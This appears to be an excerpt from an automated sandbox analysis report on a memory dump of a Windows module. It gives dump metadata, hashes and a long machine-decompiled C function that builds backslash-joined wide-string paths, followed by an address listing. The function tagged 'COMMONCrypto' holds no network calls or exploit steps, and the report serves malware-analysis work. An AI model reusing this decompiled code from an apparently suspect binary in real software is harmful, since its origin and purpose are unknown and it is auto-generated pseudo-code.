0x6f0076e0
0x00000000

Strings

@, xrefs: 6F007FA2

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 52cf54630ff8bdc2b50b66d371acd1fbb21b2ea9802d435e193b7f6b95655d85
Instruction ID: 1859b36e316bb3bb92020a6ef5e6bcf43d75cfdf8676c935928bc0bf40298008
Opcode Fuzzy Hash: 52cf54630ff8bdc2b50b66d371acd1fbb21b2ea9802d435e193b7f6b95655d85
Instruction Fuzzy Hash: C5524071A093928BF716DE38C49036A77D2AFC6350F14876ED8A59B392DB3CD941C782

Uniqueness

Uniqueness Score: -1.00%

Function 6EFFD030, Relevance: 2.0, Strings: 1, Instructions: 789
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E6EFFD030(void* __ecx, signed int* _a4) {
				unsigned int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				signed int _v56;
				unsigned int _v60;
				signed int _v64;
				signed int _v68;
				unsigned int _t225;
				signed int _t230;
				signed int _t231;
				void* _t232;
				signed int _t233;
				signed int _t234;
				signed int _t235;
				signed int _t241;
				signed int _t243;
				signed int _t245;
				signed int _t246;
				signed int _t247;
				signed int _t248;
				signed int _t249;
				signed int _t250;
				signed int _t255;
				signed int _t257;
				signed int _t258;
				unsigned int _t267;
				signed int _t272;
				signed int _t277;
				unsigned int _t283;
				signed int _t284;
				signed int* _t286;
				signed int _t287;
				signed int _t294;
				signed int _t295;
				signed int _t297;
				signed int _t298;
				signed int _t304;
				unsigned int _t306;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				signed int _t312;
				signed int _t313;
				signed int _t316;
				signed int _t317;
				unsigned int _t326;
				signed int _t327;
				signed int _t329;
				signed int _t330;
				void* _t331;
				signed int _t332;
				signed int _t334;
				signed int _t335;
				signed int _t336;
				unsigned int _t341;
				signed int _t342;
				signed int _t344;
				signed int _t346;
				signed int _t351;
				signed int _t354;
				signed int _t355;
				signed int _t361;
				signed int _t362;
				signed int _t364;
				unsigned int _t369;
				signed int _t370;
				signed int _t371;
				signed int _t374;
				void* _t382;
				signed int _t384;
				signed int _t385;
				signed int _t389;
				signed int _t390;
				unsigned int _t405;
				signed int _t406;
				signed int _t409;
				signed int _t410;
				signed int _t411;
				signed short* _t414;
				signed int _t418;
				unsigned int _t419;
				signed int _t421;
				unsigned int _t429;
				void* _t433;
				signed int _t434;
				signed int _t435;
				signed int _t441;
				signed int _t442;
				signed int _t443;
				signed int* _t445;
				unsigned int _t447;
				signed int _t448;
				signed int _t449;
				signed int _t450;
				signed int _t451;
				signed int _t452;
				signed int _t458;
				signed int _t465;
				unsigned int _t467;
				signed int _t468;
				signed int _t471;
				void* _t473;
				void* _t474;

				_t473 = (_t471 & 0xfffffff0) - 0x34;
				E6EFFD980(__ecx,  &_v60, 0x2f);
				_t294 = E6EFFE7D0( &_v60);
				_t445 = _a4;
				_t316 =  *_t294;
				if(_t316 != 0) {
					_t364 =  *( *( *(_t294 + 4)));
					__eflags = _t364;
					if(_t364 == 0) {
						L37:
						_push(0x80);
						_t418 = E6EFF1030();
						_t473 = _t473 + 4;
						 *_t418 = 0;
						__eflags =  *_t294 - 1;
						if( *_t294 <= 1) {
							L70:
							 *_t445 = 0;
							_t445[1] = 0;
							__eflags = _t418;
							if(_t418 == 0) {
								L105:
								_push(0x80);
								_t295 = E6EFF1030();
								_t473 = _t473 + 4;
								_t317 =  *_t445;
								__eflags = _t317;
								if(_t317 == 0) {
									__eflags = 0;
									 *_t295 = 0;
									L113:
									 *_t445 = _t295;
									_t445[1] = 0x40;
									L114:
									_push(2);
									_push(_t418);
									E6EFF10B0();
									_t474 = _t473 + 8;
									L115:
									_t419 = _v60;
									_v60 = 0;
									_v52 = 0;
									_t369 = _v56;
									if(_t419 <= 0) {
										L127:
										_push(4);
										_push(_t369);
										E6EFF10B0();
										_v56 = 0;
										return _t445;
									}
									_t225 = _t419 >> 1;
									if(_t225 == 0) {
										_t297 = 1;
										L124:
										if(_t297 - 1 < _t419) {
											_t319 =  *((intOrPtr*)(_t369 + _t297 * 4 - 4));
											if( *((intOrPtr*)(_t369 + _t297 * 4 - 4)) != 0) {
												_push(1);
												E6EFF87E0(_t319);
												_t369 = _v60;
											}
										}
										goto L127;
									}
									_t298 = 0;
									_t447 = _t225;
									do {
										_t320 =  *((intOrPtr*)(_t369 + _t298 * 8));
										if( *((intOrPtr*)(_t369 + _t298 * 8)) != 0) {
											_push(1);
											E6EFF87E0(_t320);
											_t369 = _v60;
										}
										_t321 =  *((intOrPtr*)(_t369 + 4 + _t298 * 8));
										if( *((intOrPtr*)(_t369 + 4 + _t298 * 8)) != 0) {
											_push(1);
											E6EFF87E0(_t321);
											_t369 = _v60;
										}
										_t298 = _t298 + 1;
									} while (_t298 < _t447);
									_t445 = _a4;
									_t297 = _t298 + _t298 + 1;
									goto L124;
								}
								__eflags = _t295;
								if(_t295 == 0) {
									L111:
									_push(2);
									_push(_t317);
									E6EFF10B0();
									_t473 = _t473 + 8;
									goto L113;
								}
								_t370 =  *_t317 & 0x0000ffff;
								 *_t295 = _t370;
								__eflags = _t370;
								if(_t370 == 0) {
									goto L111;
								}
								_t371 = 0;
								__eflags = 0;
								while(1) {
									_t371 = _t371 + 1;
									_t230 =  *(_t317 + _t371 * 4 - 2) & 0x0000ffff;
									 *(_t295 + _t371 * 4 - 2) = _t230;
									__eflags = _t230;
									if(_t230 == 0) {
										goto L111;
									}
									_t231 =  *(_t317 + _t371 * 4) & 0x0000ffff;
									 *(_t295 + _t371 * 4) = _t231;
									__eflags = _t231;
									if(_t231 != 0) {
										continue;
									}
									goto L111;
								}
								goto L111;
							}
							L71:
							__eflags =  *_t418 & 0x0000ffff;
							if(( *_t418 & 0x0000ffff) == 0) {
								goto L105;
							}
							_t374 = _t418 & 0x0000000f;
							__eflags = _t374;
							if(_t374 == 0) {
								L77:
								asm("pxor xmm0, xmm0");
								_t304 =  ~( ~_t374 + 0x00000007 & 0x00000007) + 0x7fffffff;
								__eflags = _t304;
								while(1) {
									asm("movdqu xmm1, [edi+edx*2]");
									asm("pcmpeqw xmm1, xmm0");
									asm("pmovmskb ecx, xmm1");
									__eflags = _t316;
									if(_t316 != 0) {
										break;
									}
									_t374 = _t374 + 8;
									__eflags = _t374 - _t304;
									if(_t374 < _t304) {
										continue;
									}
									__eflags = _t304 - 0x7fffffff;
									if(_t304 >= 0x7fffffff) {
										L83:
										_t304 = 0x7fffffff;
										L84:
										_t82 = _t304 + 1; // 0x80000000
										_t232 = _t82;
										__eflags = _t232 - 0x40;
										_t233 =  <=  ? 0x40 : _t232;
										__eflags = _t233;
										if(_t233 > 0) {
											_t326 = (_t233 >> 5 >> 0x1a) + _t233 >> 6;
											_t234 = _t233 & 0x8000003f;
											__eflags = _t234;
											if(_t234 < 0) {
												_t234 = (_t234 - 0x00000001 | 0xffffffc0) + 1;
												__eflags = _t234;
											}
											__eflags = _t234;
											_t327 = _t326 + (0 | _t234 > 0x00000000);
											_v64 = _t327 << 6;
											_push(_t327 << 7);
											_t235 = E6EFF1030();
											_t473 = _t473 + 4;
											_t329 =  *_t445;
											__eflags = _t329;
											if(_t329 == 0) {
												__eflags = 0;
												 *_t235 = 0;
												goto L97;
											} else {
												__eflags = _t235;
												if(_t235 == 0) {
													L95:
													_push(2);
													_push(_t329);
													_v68 = _t235;
													E6EFF10B0();
													_t235 = _v68;
													_t473 = _t473 + 8;
													L97:
													_t445[1] = _v64;
													 *_t445 = _t235;
													L98:
													_t330 = _t418;
													__eflags = _t235;
													if(_t235 == 0) {
														goto L114;
													}
													_t382 = 0;
													while(1) {
														_t448 =  *_t330 & 0x0000ffff;
														_t382 = _t382 + 1;
														 *_t235 = _t448;
														__eflags = _t304;
														if(_t304 == 0) {
															goto L103;
														}
														__eflags = _t382 - _t304;
														if(_t382 == _t304) {
															_t445 = _a4;
															 *(_t235 + 2) = 0;
															goto L114;
														}
														L103:
														__eflags = _t448;
														if(_t448 == 0) {
															_t445 = _a4;
															goto L114;
														}
														_t235 = _t235 + 2;
														_t330 = _t330 + 2;
														__eflags = _t330;
													}
												}
												_t384 =  *_t329 & 0x0000ffff;
												 *_t235 = _t384;
												__eflags = _t384;
												if(_t384 == 0) {
													goto L95;
												}
												_t385 = 0;
												__eflags = 0;
												while(1) {
													_t385 = _t385 + 1;
													_t449 =  *(_t329 + _t385 * 4 - 2) & 0x0000ffff;
													 *(_t235 + _t385 * 4 - 2) = _t449;
													__eflags = _t449;
													if(_t449 == 0) {
														break;
													}
													_t450 =  *(_t329 + _t385 * 4) & 0x0000ffff;
													 *(_t235 + _t385 * 4) = _t450;
													__eflags = _t450;
													if(_t450 != 0) {
														continue;
													}
													break;
												}
												_t445 = _a4;
												goto L95;
											}
										}
										_t235 = 0;
										goto L98;
									} else {
										goto L81;
									}
									while(1) {
										L81:
										__eflags =  *(_t418 + _t304 * 2) & 0x0000ffff;
										if(( *(_t418 + _t304 * 2) & 0x0000ffff) == 0) {
											goto L84;
										}
										_t304 = _t304 + 1;
										__eflags = _t304 - 0x7fffffff;
										if(_t304 < 0x7fffffff) {
											continue;
										}
										goto L83;
									}
									goto L84;
								}
								asm("bsf ebx, ecx");
								_t304 = (_t304 >> 1) + _t374;
								goto L84;
							}
							_t304 = 0;
							__eflags = _t374 & 0x00000001;
							if((_t374 & 0x00000001) != 0) {
								goto L81;
							}
							_t374 =  ~_t374 + 0x10 >> 1;
							__eflags = _t374;
							while(1) {
								_t316 =  *(_t418 + _t304 * 2) & 0x0000ffff;
								__eflags = _t316;
								if(_t316 == 0) {
									goto L84;
								}
								_t304 = _t304 + 1;
								__eflags = _t304 - _t374;
								if(_t304 < _t374) {
									continue;
								}
								goto L77;
							}
							goto L84;
						}
						_v40 = 0x40;
						L39:
						__eflags = 1;
						_t389 = 1;
						_t241 = _t294;
						asm("pxor xmm0, xmm0");
						_t306 = 1;
						do {
							__eflags = _t418;
							if(_t418 == 0) {
								_t390 = 0;
								L205:
								_v32 = _t241;
								_t451 = _t390;
								L54:
								_t48 = _t451 + 2; // -2147483652
								_t331 = _t48;
								__eflags = _t331 - 0x40;
								_t332 =  <=  ? 0x40 : _t331;
								__eflags = _t332 - _v40;
								if(_t332 <= _v40) {
									L66:
									_t316 = 0;
									 *((short*)(_t418 + _t451 * 2)) = 0x5c;
									 *((short*)(_t418 + 2 + _t451 * 2)) = 0;
									_t452 = _v32;
									_t389 =  *( *( *((intOrPtr*)(_t452 + 4)) + _t306 * 4));
									__eflags = _t389;
									if(_t389 == 0) {
										goto L68;
									}
									_t316 =  *_t389 & 0x0000ffff;
									__eflags = _t316;
									if(_t316 != 0) {
										__eflags = _t389 - _t418;
										if(_t389 == _t418) {
											goto L68;
										}
										_t245 = _t389 & 0x0000000f;
										__eflags = _t245;
										if(_t245 == 0) {
											L134:
											asm("pxor xmm1, xmm1");
											_t465 =  ~( ~_t245 + 0x00000007 & 0x00000007) + 0x7fffffff;
											__eflags = _t465;
											while(1) {
												asm("movdqu xmm0, [edx+eax*2]");
												asm("pcmpeqw xmm0, xmm1");
												asm("pmovmskb ecx, xmm0");
												__eflags = _t316;
												if(_t316 != 0) {
													break;
												}
												_t245 = _t245 + 8;
												__eflags = _t245 - _t465;
												if(_t245 < _t465) {
													continue;
												}
												__eflags = _t465 - 0x7fffffff;
												if(_t465 >= 0x7fffffff) {
													L140:
													_t465 = 0x7fffffff;
													L141:
													__eflags = _t418;
													if(_t418 == 0) {
														_t246 = 0;
														L155:
														_t149 = _t246 + 1; // 0x80000000
														_t247 = _t465 + _t149;
														__eflags = _t247;
														if(_t247 != 0) {
															__eflags = _t247 - 0x40;
															_t248 =  <=  ? 0x40 : _t247;
															__eflags = _t248 - _v40;
															if(_t248 <= _v40) {
																L173:
																_t249 = _t418;
																__eflags = _t418;
																if(_t418 == 0) {
																	L204:
																	_t241 = _v32;
																	_t390 = 0;
																	_t306 = _t306 + 1;
																	__eflags = _t306 -  *_t241;
																	if(_t306 >=  *_t241) {
																		_t445 = _a4;
																		 *_t445 = 0;
																		_t445[1] = 0;
																		goto L105;
																	}
																	goto L205;
																}
																_t334 =  *_t418 & 0x0000ffff;
																L175:
																__eflags = _t334;
																if(_t334 == 0) {
																	L180:
																	_t335 = _t249;
																	__eflags = _t465;
																	if(__eflags != 0) {
																		if(__eflags <= 0) {
																			L187:
																			_t316 = _v32;
																			_t389 = 0;
																			 *_t249 = 0;
																			_t306 = _t306 + 1;
																			__eflags = _t306 -  *_t316;
																			if(_t306 <  *_t316) {
																				L42:
																				_t243 = _t418 & 0x0000000f;
																				__eflags = _t243;
																				if(_t243 == 0) {
																					L47:
																					asm("pxor xmm1, xmm1");
																					_t458 =  ~( ~_t243 + 0x00000007 & 0x00000007) + 0x7fffffff;
																					__eflags = _t458;
																					while(1) {
																						asm("movdqu xmm0, [edi+eax*2]");
																						asm("pcmpeqw xmm0, xmm1");
																						asm("pmovmskb edx, xmm0");
																						__eflags = _t389;
																						if(_t389 != 0) {
																							break;
																						}
																						_t243 = _t243 + 8;
																						__eflags = _t243 - _t458;
																						if(_t243 < _t458) {
																							continue;
																						}
																						__eflags = _t458 - 0x7fffffff;
																						if(_t458 >= 0x7fffffff) {
																							L53:
																							_t451 = 0x7fffffff;
																							goto L54;
																						} else {
																							goto L51;
																						}
																						while(1) {
																							L51:
																							__eflags =  *(_t418 + _t458 * 2) & 0x0000ffff;
																							if(( *(_t418 + _t458 * 2) & 0x0000ffff) == 0) {
																								break;
																							}
																							_t458 = _t458 + 1;
																							__eflags = _t458 - 0x7fffffff;
																							if(_t458 < 0x7fffffff) {
																								continue;
																							}
																							goto L53;
																						}
																						L196:
																						__eflags = _t451 - 0xfffffffe;
																						if(_t451 == 0xfffffffe) {
																							 *_t418 = 0;
																						}
																						goto L54;
																					}
																					asm("bsf esi, edx");
																					_t451 = (_t458 >> 1) + _t243;
																					goto L196;
																				}
																				_t458 = 0;
																				__eflags = _t243 & 0x00000001;
																				if((_t243 & 0x00000001) != 0) {
																					goto L51;
																				}
																				_t243 =  ~_t243 + 0x10 >> 1;
																				__eflags = _t243;
																				while(1) {
																					_t389 =  *(_t418 + _t458 * 2) & 0x0000ffff;
																					__eflags = _t389;
																					if(_t389 == 0) {
																						goto L196;
																					}
																					_t458 = _t458 + 1;
																					__eflags = _t458 - _t243;
																					if(_t458 < _t243) {
																						continue;
																					}
																					goto L47;
																				}
																				goto L196;
																			}
																			_t445 = _a4;
																			L192:
																			 *_t445 = 0;
																			_t445[1] = 0;
																			goto L71;
																		}
																		L183:
																		_v48 = 0;
																		_v44 = _t418;
																		_v28 = _t306;
																		_t421 = _v48;
																		while(1) {
																			_t307 =  *(_t389 + _t421 * 2) & 0x0000ffff;
																			 *(_t335 + _t421 * 2) = _t307;
																			__eflags = _t307;
																			if(_t307 == 0) {
																				break;
																			}
																			_t190 = _t421 * 2; // 0x2
																			_t249 = _t335 + _t190 + 2;
																			_t421 = _t421 + 1;
																			__eflags = _t421 - _t465;
																			if(_t421 < _t465) {
																				continue;
																			}
																			break;
																		}
																		_t306 = _v28;
																		_t418 = _v44;
																		goto L187;
																	}
																	_t465 = 0x7fffffff;
																	goto L183;
																}
																_v36 = _t389;
																_t336 = 0;
																__eflags = 0;
																_v28 = _t306;
																while(1) {
																	_t336 = _t336 + 1;
																	_t308 = _t418 + _t336 * 4;
																	_t249 = _t308 - 2;
																	__eflags =  *(_t308 - 2) & 0x0000ffff;
																	if(( *(_t308 - 2) & 0x0000ffff) == 0) {
																		break;
																	}
																	_t249 = _t308;
																	__eflags =  *_t308 & 0x0000ffff;
																	if(( *_t308 & 0x0000ffff) != 0) {
																		continue;
																	}
																	break;
																}
																_t389 = _v36;
																_t306 = _v28;
																goto L180;
															}
															L161:
															_t341 = (_t248 >> 5 >> 0x1a) + _t248 >> 6;
															_t250 = _t248 & 0x8000003f;
															__eflags = _t250;
															if(_t250 < 0) {
																_t250 = (_t250 - 0x00000001 | 0xffffffc0) + 1;
																__eflags = _t250;
															}
															__eflags = _t250;
															_t342 = _t341 + (0 | _t250 > 0x00000000);
															_v40 = _t342 << 6;
															_push(_t342 << 7);
															_v36 = _t389;
															_t255 = E6EFF1030();
															_t389 = _v36;
															_t344 = _t255;
															_t473 = _t473 + 4;
															__eflags = _t418;
															if(_t418 == 0) {
																__eflags = 0;
																 *_t344 = 0;
																goto L172;
															} else {
																__eflags = _t344;
																if(_t344 == 0) {
																	L170:
																	_push(2);
																	_push(_t418);
																	_v68 = _t344;
																	_v36 = _t389;
																	E6EFF10B0();
																	_t389 = _v36;
																	_t344 = _v68;
																	_t473 = _t473 + 8;
																	L172:
																	_t418 = _t344;
																	goto L173;
																}
																_t257 =  *_t418 & 0x0000ffff;
																 *_t344 = _t257;
																__eflags = _t257;
																if(_t257 == 0) {
																	goto L170;
																}
																_v28 = _t306;
																_t258 = 0;
																__eflags = 0;
																while(1) {
																	_t258 = _t258 + 1;
																	_t309 =  *(_t418 + _t258 * 4 - 2) & 0x0000ffff;
																	 *(_t344 + _t258 * 4 - 2) = _t309;
																	__eflags = _t309;
																	if(_t309 == 0) {
																		break;
																	}
																	_t310 =  *(_t418 + _t258 * 4) & 0x0000ffff;
																	 *(_t344 + _t258 * 4) = _t310;
																	__eflags = _t310;
																	if(_t310 != 0) {
																		continue;
																	}
																	break;
																}
																_t306 = _v28;
																goto L170;
															}
														}
														__eflags = _t418;
														if(_t418 == 0) {
															__eflags = _v40 - 0x40;
															if(_v40 < 0x40) {
																L159:
																_t248 = 0x40;
																goto L161;
															}
															goto L204;
														}
														_t334 = 0;
														 *_t418 = 0;
														__eflags = _v40 - 0x40;
														if(_v40 < 0x40) {
															goto L159;
														}
														_t249 = _t418;
														goto L175;
													}
													_t346 = _t418 & 0x0000000f;
													__eflags = _t346;
													if(_t346 == 0) {
														L148:
														asm("pxor xmm1, xmm1");
														_v28 = _t306;
														_t246 =  ~( ~_t346 + 0x00000007 & 0x00000007) + 0x7fffffff;
														__eflags = _t246;
														while(1) {
															asm("movdqu xmm0, [edi+ecx*2]");
															asm("pcmpeqw xmm0, xmm1");
															asm("pmovmskb ebx, xmm0");
															__eflags = _t306;
															if(_t306 != 0) {
																break;
															}
															_t346 = _t346 + 8;
															__eflags = _t346 - _t246;
															if(_t346 < _t246) {
																continue;
															}
															_t306 = _v28;
															__eflags = _t246 - 0x7fffffff;
															if(_t246 >= 0x7fffffff) {
																L154:
																_t246 = 0x7fffffff;
																goto L155;
															} else {
																goto L152;
															}
															while(1) {
																L152:
																__eflags =  *(_t418 + _t246 * 2) & 0x0000ffff;
																if(( *(_t418 + _t246 * 2) & 0x0000ffff) == 0) {
																	goto L155;
																}
																_t246 = _t246 + 1;
																__eflags = _t246 - 0x7fffffff;
																if(_t246 < 0x7fffffff) {
																	continue;
																}
																goto L154;
															}
															goto L155;
														}
														asm("bsf eax, eax");
														_t267 = _t306 >> 1;
														_t306 = _v28;
														_t246 = _t267 + _t346;
														goto L155;
													}
													_t246 = 0;
													__eflags = _t346 & 0x00000001;
													if((_t346 & 0x00000001) != 0) {
														goto L152;
													}
													_t346 =  ~_t346 + 0x10 >> 1;
													__eflags = _t346;
													_v28 = _t306;
													while(1) {
														__eflags =  *(_t418 + _t246 * 2) & 0x0000ffff;
														if(( *(_t418 + _t246 * 2) & 0x0000ffff) == 0) {
															break;
														}
														_t246 = _t246 + 1;
														__eflags = _t246 - _t346;
														if(_t246 < _t346) {
															continue;
														}
														_t306 = _v28;
														goto L148;
													}
													_t306 = _v28;
													goto L155;
												} else {
													goto L138;
												}
												while(1) {
													L138:
													__eflags =  *(_t389 + _t465 * 2) & 0x0000ffff;
													if(( *(_t389 + _t465 * 2) & 0x0000ffff) == 0) {
														goto L141;
													}
													_t465 = _t465 + 1;
													__eflags = _t465 - 0x7fffffff;
													if(_t465 < 0x7fffffff) {
														continue;
													}
													goto L140;
												}
												goto L141;
											}
											asm("bsf esi, ecx");
											_t465 = (_t465 >> 1) + _t245;
											goto L141;
										}
										_t465 = 0;
										__eflags = _t245 & 0x00000001;
										if((_t245 & 0x00000001) != 0) {
											goto L138;
										}
										_t245 =  ~_t245 + 0x10 >> 1;
										__eflags = _t245;
										while(1) {
											_t316 =  *(_t389 + _t465 * 2) & 0x0000ffff;
											__eflags = _t316;
											if(_t316 == 0) {
												goto L141;
											}
											_t465 = _t465 + 1;
											__eflags = _t465 - _t245;
											if(_t465 < _t245) {
												continue;
											}
											goto L134;
										}
										goto L141;
									}
									goto L68;
								}
								_t405 = (_t332 >> 5 >> 0x1a) + _t332 >> 6;
								_t351 = _t332 & 0x8000003f;
								__eflags = _t351;
								if(_t351 < 0) {
									_t351 = (_t351 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t351;
								}
								__eflags = _t351;
								_t406 = _t405 + (0 | _t351 > 0x00000000);
								_v40 = _t406 << 6;
								_push(_t406 << 7);
								_t272 = E6EFF1030();
								_t473 = _t473 + 4;
								__eflags = _t418;
								if(_t418 == 0) {
									__eflags = 0;
									 *_t272 = 0;
									goto L65;
								} else {
									__eflags = _t272;
									if(_t272 == 0) {
										L63:
										_push(2);
										_push(_t418);
										_v64 = _t272;
										E6EFF10B0();
										_t272 = _v64;
										_t473 = _t473 + 8;
										L65:
										_t418 = _t272;
										goto L66;
									}
									_t409 =  *_t418 & 0x0000ffff;
									 *_t272 = _t409;
									__eflags = _t409;
									if(_t409 == 0) {
										goto L63;
									}
									_t410 = 0;
									__eflags = 0;
									while(1) {
										_t410 = _t410 + 1;
										_t354 =  *(_t418 + _t410 * 4 - 2) & 0x0000ffff;
										 *(_t272 + _t410 * 4 - 2) = _t354;
										__eflags = _t354;
										if(_t354 == 0) {
											goto L63;
										}
										_t355 =  *(_t418 + _t410 * 4) & 0x0000ffff;
										 *(_t272 + _t410 * 4) = _t355;
										__eflags = _t355;
										if(_t355 != 0) {
											continue;
										}
										goto L63;
									}
									goto L63;
								}
							}
							_v32 = _t241;
							goto L42;
							L68:
							_t241 = _t452;
							_t306 = _t306 + 1;
							__eflags = _t306 -  *_t241;
						} while (_t306 <  *_t241);
						_t445 = _a4;
						goto L70;
					}
					__eflags =  *_t364 & 0x0000ffff;
					if(( *_t364 & 0x0000ffff) == 0) {
						goto L37;
					}
					_t277 = _t364 & 0x0000000f;
					__eflags = _t277;
					if(_t277 == 0) {
						L18:
						asm("pxor xmm0, xmm0");
						_t429 =  ~( ~_t277 + 0x00000007 & 0x00000007) + 0x7fffffff;
						__eflags = _t429;
						_v64 = _t429;
						_t467 = _t429;
						while(1) {
							asm("movdqu xmm1, [edx+eax*2]");
							asm("pcmpeqw xmm1, xmm0");
							asm("pmovmskb edi, xmm1");
							__eflags = _t429;
							if(_t429 != 0) {
								break;
							}
							_t277 = _t277 + 8;
							__eflags = _t277 - _t467;
							if(_t277 < _t467) {
								continue;
							}
							_v64 = _t467;
							_t445 = _a4;
							__eflags = _v64 - 0x7fffffff;
							if(_v64 >= 0x7fffffff) {
								L25:
								_v64 = 0x7fffffff;
								L26:
								_t433 = _v64 + 1;
								__eflags = _t433 - 0x40;
								_t434 =  <=  ? 0x40 : _t433;
								__eflags = _t434;
								if(_t434 > 0) {
									_t283 = (_t434 >> 5 >> 0x1a) + _t434 >> 6;
									_t435 = _t434 & 0x8000003f;
									__eflags = _t435;
									if(_t435 < 0) {
										_t435 = (_t435 - 0x00000001 | 0xffffffc0) + 1;
										__eflags = _t435;
									}
									__eflags = _t435;
									_t284 = _t283 + (0 | _t435 > 0x00000000);
									_v40 = _t284 << 6;
									_push(_t284 << 7);
									_v68 = _t364;
									_t286 = E6EFF1030();
									_t411 = _v68;
									_t473 = _t473 + 4;
									_t418 = _t286;
									 *_t286 = 0;
									_v32 = _t294;
									_t468 = _v64;
									while(1) {
										_t312 =  *_t411 & 0x0000ffff;
										_t316 = 1;
										 *_t286 = _t312;
										__eflags = _t468;
										if(_t468 == 0) {
											goto L35;
										}
										__eflags = 1 - _t468;
										if(1 == _t468) {
											__eflags = 0;
											_t445 = _a4;
											_t294 = _v32;
											_t286[0] = 0;
											L191:
											__eflags =  *_t294 - 1;
											if( *_t294 > 1) {
												goto L39;
											}
											goto L192;
										}
										L35:
										__eflags = _t312;
										if(_t312 == 0) {
											_t445 = _a4;
											_t294 = _v32;
											goto L191;
										}
										_t286 =  &(_t286[0]);
										_t411 = _t411 + 2;
										__eflags = _t411;
									}
								}
								_t418 = 0;
								__eflags = _t316 - 1;
								if(_t316 <= 1) {
									goto L70;
								}
								_v40 = 0;
								goto L39;
							}
							L22:
							_t287 = _v64;
							while(1) {
								__eflags =  *(_t364 + _t287 * 2) & 0x0000ffff;
								if(( *(_t364 + _t287 * 2) & 0x0000ffff) == 0) {
									break;
								}
								_t287 = _t287 + 1;
								__eflags = _t287 - 0x7fffffff;
								if(_t287 < 0x7fffffff) {
									continue;
								}
								goto L25;
							}
							_v64 = _t287;
							goto L26;
						}
						asm("bsf edi, edi");
						_t445 = _a4;
						_v64 = (_t429 >> 1) + _t277;
						goto L26;
					}
					_t441 = 0;
					_v64 = 0;
					__eflags = _t277 & 0x00000001;
					if((_t277 & 0x00000001) != 0) {
						goto L22;
					}
					_t277 =  ~_t277 + 0x10 >> 1;
					__eflags = _t277;
					while(1) {
						__eflags =  *(_t364 + _t441 * 2) & 0x0000ffff;
						if(( *(_t364 + _t441 * 2) & 0x0000ffff) == 0) {
							break;
						}
						_t441 = _t441 + 1;
						__eflags = _t441 - _t277;
						if(_t441 < _t277) {
							continue;
						}
						goto L18;
					}
					_v64 = _t441;
					_t445 = _a4;
					goto L26;
				}
				_push(0x80);
				 *_t445 = 0;
				_t445[1] = 0;
				_t313 = E6EFF1030();
				_t474 = _t473 + 4;
				_t414 =  *_t445;
				if(_t414 == 0) {
					__eflags = 0;
					 *_t313 = 0;
					L9:
					 *_t445 = _t313;
					_t445[1] = 0x40;
					goto L115;
				}
				if(_t313 == 0) {
					L7:
					_push(2);
					_push(_t414);
					E6EFF10B0();
					_t474 = _t474 + 8;
					goto L9;
				}
				_t361 =  *_t414 & 0x0000ffff;
				 *_t313 = _t361;
				if(_t361 == 0) {
					goto L7;
				}
				_t362 = 0;
				while(1) {
					_t362 = _t362 + 1;
					_t442 =  *(_t414 + _t362 * 4 - 2) & 0x0000ffff;
					 *(_t313 + _t362 * 4 - 2) = _t442;
					if(_t442 == 0) {
						goto L7;
					}
					_t443 =  *(_t414 + _t362 * 4) & 0x0000ffff;
					 *(_t313 + _t362 * 4) = _t443;
					if(_t443 != 0) {
						continue;
					}
					goto L7;
				}
				goto L7;
			}

0x6effd039
0x6effd043
0x6effd04f
0x6effd051
0x6effd054
0x6effd058
0x6effd0c6
0x6effd0c8
0x6effd0ca
0x6effd214
0x6effd214
0x6effd21e
0x6effd220
0x6effd225
0x6effd228
0x6effd22b
0x6effd3a1
0x6effd3a3
0x6effd3a5
0x6effd3a8
0x6effd3aa
0x6effd507
0x6effd507
0x6effd511
0x6effd513
0x6effd516
0x6effd518
0x6effd51a
0x6effd554
0x6effd556
0x6effd559
0x6effd559
0x6effd55b
0x6effd562
0x6effd562
0x6effd564
0x6effd565
0x6effd56a
0x6effd56d
0x6effd56d
0x6effd573
0x6effd577
0x6effd57b
0x6effd581
0x6effd5dc
0x6effd5dc
0x6effd5de
0x6effd5df
0x6effd5e7
0x6effd5fa
0x6effd5fa
0x6effd585
0x6effd587
0x6effd8fb
0x6effd5c2
0x6effd5c7
0x6effd5c9
0x6effd5cf
0x6effd5d1
0x6effd5d3
0x6effd5d8
0x6effd5d8
0x6effd5cf
0x00000000
0x6effd5c7
0x6effd58d
0x6effd58f
0x6effd591
0x6effd591
0x6effd596
0x6effd598
0x6effd59a
0x6effd59f
0x6effd59f
0x6effd5a3
0x6effd5a9
0x6effd5ab
0x6effd5ad
0x6effd5b2
0x6effd5b2
0x6effd5b6
0x6effd5b7
0x6effd5bb
0x6effd5be
0x00000000
0x6effd5be
0x6effd51c
0x6effd51e
0x6effd547
0x6effd547
0x6effd549
0x6effd54a
0x6effd54f
0x00000000
0x6effd54f
0x6effd520
0x6effd523
0x6effd526
0x6effd528
0x00000000
0x00000000
0x6effd52a
0x6effd52a
0x6effd52c
0x6effd52c
0x6effd52d
0x6effd532
0x6effd537
0x6effd539
0x00000000
0x00000000
0x6effd53b
0x6effd53f
0x6effd543
0x6effd545
0x00000000
0x00000000
0x00000000
0x6effd545
0x00000000
0x6effd52c
0x6effd3b0
0x6effd3b3
0x6effd3b5
0x00000000
0x00000000
0x6effd3bd
0x6effd3bd
0x6effd3c0
0x6effd3dd
0x6effd3e1
0x6effd3ed
0x6effd3ed
0x6effd3f3
0x6effd3f3
0x6effd3f8
0x6effd3fc
0x6effd400
0x6effd402
0x00000000
0x00000000
0x6effd408
0x6effd40b
0x6effd40d
0x00000000
0x00000000
0x6effd40f
0x6effd415
0x6effd428
0x6effd428
0x6effd42d
0x6effd432
0x6effd432
0x6effd435
0x6effd438
0x6effd43b
0x6effd43d
0x6effd450
0x6effd453
0x6effd453
0x6effd458
0x6effd460
0x6effd460
0x6effd460
0x6effd463
0x6effd468
0x6effd472
0x6effd476
0x6effd477
0x6effd47c
0x6effd47f
0x6effd481
